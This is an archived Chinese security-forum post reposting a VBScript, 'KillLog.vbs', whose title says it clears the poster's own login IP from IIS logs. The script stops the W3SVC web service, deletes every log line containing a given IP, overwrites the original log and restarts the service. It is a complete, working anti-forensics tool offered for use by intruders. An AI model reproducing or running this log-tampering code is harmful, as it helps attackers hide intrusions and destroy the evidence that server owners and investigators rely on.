邪恶八进制信息安全团队技术讨论组's Archiver

EvilOctal 2005-7-16 18:34

[转载]清理IIS LOG中自己登录ip的VBS

<P>信息来源:<A href="http://www.aspsky.net">www.aspsky.net</A></P>
<DIV style="WORD-BREAK: break-all" align=left>Option Explicit
<P></P>
<P>Dim sourcefile,ipaddress,objargs</P>
<P>const destfile="tempfile"<BR>Const ForWriting = 2</P>
<P>Dim Text<BR>Dim fso,objNet,ServiceObj<BR>Dim txtStream, txtStreamOut </P>
<P>Set objArgs = WScript.Arguments <BR>If objArgs.Count = 2 Then <BR>sourcefile=objArgs(0)<BR>ipaddress=objargs(1)<BR>Else<BR>wscript.echo "Parameter Error"+ vbcrlf<BR>wscript.Echo "USAGE:KillLog.vbs LogFileName YourIP."<BR>wscript.Quit 1<BR>End If</P>
<P><BR>Set fso = CreateObject("Scripting.FileSystemObject")<BR>if fso.FileExists (sourcefile) then<BR>Set objNet = WScript.CreateObject( "WScript.Network" )<BR>Set ServiceObj = GetObject("WinNT://" & objNet.ComputerName & "/w3svc")<BR>Set objNet=nothing<BR>ServiceObj.stop<BR>wscript.sleep 6000<BR>Set txtStream = fso.OpenTextFile(sourcefile) <BR>Set txtStreamOut = fso.OpenTextFile(destfile, ForWriting, True)<BR>Do While Not (txtStream.atEndOfStream) <BR>Text = txtStream.ReadLine <BR>if instr(Text,ipaddress)=0 then<BR>txtStreamOut.WriteLine Text <BR>end if<BR>Loop</P>
<P>Set txtStream = Nothing <BR>Set txtStreamOut = Nothing</P>
<P>WScript.Echo "The log file-- " & sourcefile &" has cleaned your IP!"<BR>Else<BR>WScript.Echo "The Log file-- " & sourcefile & " has not found!"<BR>Wscript.quit<BR>End If<BR>fso.Copyfile destfile, sourcefile<BR>fso.deletefile destfile<BR>Set fso=Nothing<BR>ServiceObj.start<BR>Set ServiceObj = Nothing</P></DIV>

页: [1]
© 1999-2008 EvilOctal Security Team